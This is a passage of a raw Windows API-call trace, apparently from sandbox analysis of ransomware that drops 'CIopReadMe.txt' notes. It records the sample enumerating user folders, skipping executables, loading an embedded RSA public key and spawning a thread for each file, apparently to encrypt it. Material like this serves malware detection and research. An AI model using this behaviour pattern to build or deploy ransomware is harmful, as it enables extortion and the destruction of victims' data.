(lpString1="DYnSH7i.xls", lpString2=".") returned 1 [0094.076] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned 75 [0094.076] Sleep (dwMilliseconds=0xd) [0094.138] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.138] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="DYnSH7i.xls" | out: lpString1="DYnSH7i.xls") returned="DYnSH7i.xls" [0094.138] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0094.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x47c [0094.138] WaitForSingleObject (hHandle=0x47c, dwMilliseconds=0xffffffff) returned 0x0 [0094.206] SetErrorMode (uMode=0x1) returned 0x1 [0094.206] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\CIopReadMe.txt") returned 85 [0094.206] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0094.206] CloseHandle (hObject=0x4a0) returned 1 [0094.206] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0094.206] lstrcmpW (lpString1="mR4SZZ7.pptx", lpString2="..") returned 1 [0094.206] lstrcmpW (lpString1="mR4SZZ7.pptx", lpString2=".") returned 1 [0094.206] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned 75 [0094.206] Sleep (dwMilliseconds=0xd) [0094.231] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.231] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="mR4SZZ7.pptx" | out: lpString1="mR4SZZ7.pptx") returned="mR4SZZ7.pptx" [0094.231] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0094.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0 [0094.232] WaitForSingleObject (hHandle=0x4a0, dwMilliseconds=0xffffffff) returned 0x0 [0094.266] SetErrorMode (uMode=0x1) returned 0x1 [0094.266] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\CIopReadMe.txt") returned 85 [0094.266] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0094.266] CloseHandle (hObject=0x494) returned 1 [0094.266] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0094.267] FindClose (in: hFindFile=0x5c39d0 | out: hFindFile=0x5c39d0) returned 1 [0094.267] FindClose (in: hFindFile=0x5c39d0 | out: hFindFile=0x5c39d0) returned 0 [0094.267] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0094.267] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*" [0094.267] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x5c3310 [0094.267] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="sNkHGs" [0094.267] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="sNkHGs" | out: lpString1="sNkHGs") returned="sNkHGs" [0094.267] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0094.267] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0094.267] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0094.267] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0094.267] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0094.267] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0094.267] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0094.267] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0094.267] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0094.267] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0094.267] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0094.267] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0094.267] FindClose (in: hFindFile=0x5c3310 | out: hFindFile=0x5c3310) returned 1 [0094.267] FindClose (in: hFindFile=0x5c3310 | out: hFindFile=0x5c3310) returned 0 [0094.267] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0094.267] FindClose (in: hFindFile=0x5c3910 | out: hFindFile=0x5c3910) returned 1 [0094.268] FindClose (in: hFindFile=0x5c3910 | out: hFindFile=0x5c3910) returned 0 [0094.268] FindNextFileW (in: hFindFile=0x5c3490, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0094.268] FindClose (in: hFindFile=0x5c3490 | out: hFindFile=0x5c3490) returned 1 [0094.268] FindClose (in: hFindFile=0x5c3490 | out: hFindFile=0x5c3490) returned 0 [0094.268] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.268] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.268] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0094.268] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 1 [0094.268] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 0 [0094.268] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0094.268] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0094.268] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0094.268] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0094.268] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0094.268] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0094.268] SetErrorMode (uMode=0x1) returned 0x1 [0094.268] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0094.268] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" [0094.268] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" [0094.268] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*" [0094.268] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x5c3310 [0094.269] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="Downloads" [0094.269] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0094.269] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.269] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.269] lstrcmpW (lpString1="ChromeSetup.exe", lpString2="..") returned 1 [0094.269] lstrcmpW (lpString1="ChromeSetup.exe", lpString2=".") returned 1 [0094.269] lstrlenW (lpString=".exe") returned 4 [0094.269] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.269] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0094.269] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0094.269] lstrlenW (lpString="desktop.ini") returned 11 [0094.269] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.269] lstrcmpW (lpString1="jre-8u131-windows-x64.exe", lpString2="..") returned 1 [0094.269] lstrcmpW (lpString1="jre-8u131-windows-x64.exe", lpString2=".") returned 1 [0094.269] lstrlenW (lpString=".exe") returned 4 [0094.269] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0094.269] FindClose (in: hFindFile=0x5c3310 | out: hFindFile=0x5c3310) returned 1 [0094.269] FindClose (in: hFindFile=0x5c3310 | out: hFindFile=0x5c3310) returned 0 [0094.269] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0094.269] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*" [0094.269] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x5c3910 [0094.269] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="Downloads" [0094.269] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0094.269] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0094.269] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0094.269] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.269] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0094.270] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.270] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.270] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.270] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0094.270] FindClose (in: hFindFile=0x5c3910 | out: hFindFile=0x5c3910) returned 1 [0094.270] FindClose (in: hFindFile=0x5c3910 | out: hFindFile=0x5c3910) returned 0 [0094.270] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0094.270] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0094.270] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0094.270] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0094.270] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0094.270] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0094.270] SetErrorMode (uMode=0x1) returned 0x1 [0094.270] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0094.270] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0094.270] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0094.270] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*" [0094.270] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x5c3910 [0094.270] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="Favorites" [0094.270] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0094.270] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.270] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.270] lstrcmpW (lpString1="Bing.url", lpString2="..") returned 1 [0094.270] lstrcmpW (lpString1="Bing.url", lpString2=".") returned 1 [0094.270] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned 36 [0094.270] Sleep (dwMilliseconds=0xd) [0094.556] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.556] lstrcpyW (in: lpString1=0x2dc93de, lpString2="Bing.url" | out: lpString1="Bing.url") returned="Bing.url" [0094.556] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0094.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ec [0094.557] WaitForSingleObject (hHandle=0x3ec, dwMilliseconds=0xffffffff) returned 0x0 [0094.610] SetErrorMode (uMode=0x1) returned 0x1 [0094.610] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\CIopReadMe.txt") returned 46 [0094.610] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\favorites\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0094.610] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0094.610] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0094.610] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0094.610] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0094.610] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0094.610] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\favorites\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x418 [0094.612] WriteFile (in: hFile=0x418, lpBuffer=0x62c5e8*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc8a3c, lpOverlapped=0x0 | out: lpBuffer=0x62c5e8*, lpNumberOfBytesWritten=0x2dc8a3c*=0x759, lpOverlapped=0x0) returned 1 [0094.612] CloseHandle (hObject=0x418) returned 1 [0094.612] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.612] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0094.613] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0094.613] lstrlenW (lpString="desktop.ini") returned 11 [0094.613] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.613] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0094.613] FindClose (in: hFindFile=0x5c3910 | out: hFindFile=0x5c3910) returned 1 [0094.613] FindClose (in: hFindFile=0x5c3910 | out: hFindFile=0x5c3910) returned 0 [0094.613] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0094.613] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*" [0094.613] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x5c3910 [0094.613] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="Favorites" [0094.613] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0094.613] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0094.613] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0094.613] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.613] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0094.613] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.613] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.613] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.613] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0094.613] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0094.613] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0094.613] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0094.613] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0094.613] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0094.613] SetErrorMode (uMode=0x1) returned 0x1 [0094.613] lstrcpyW (in: 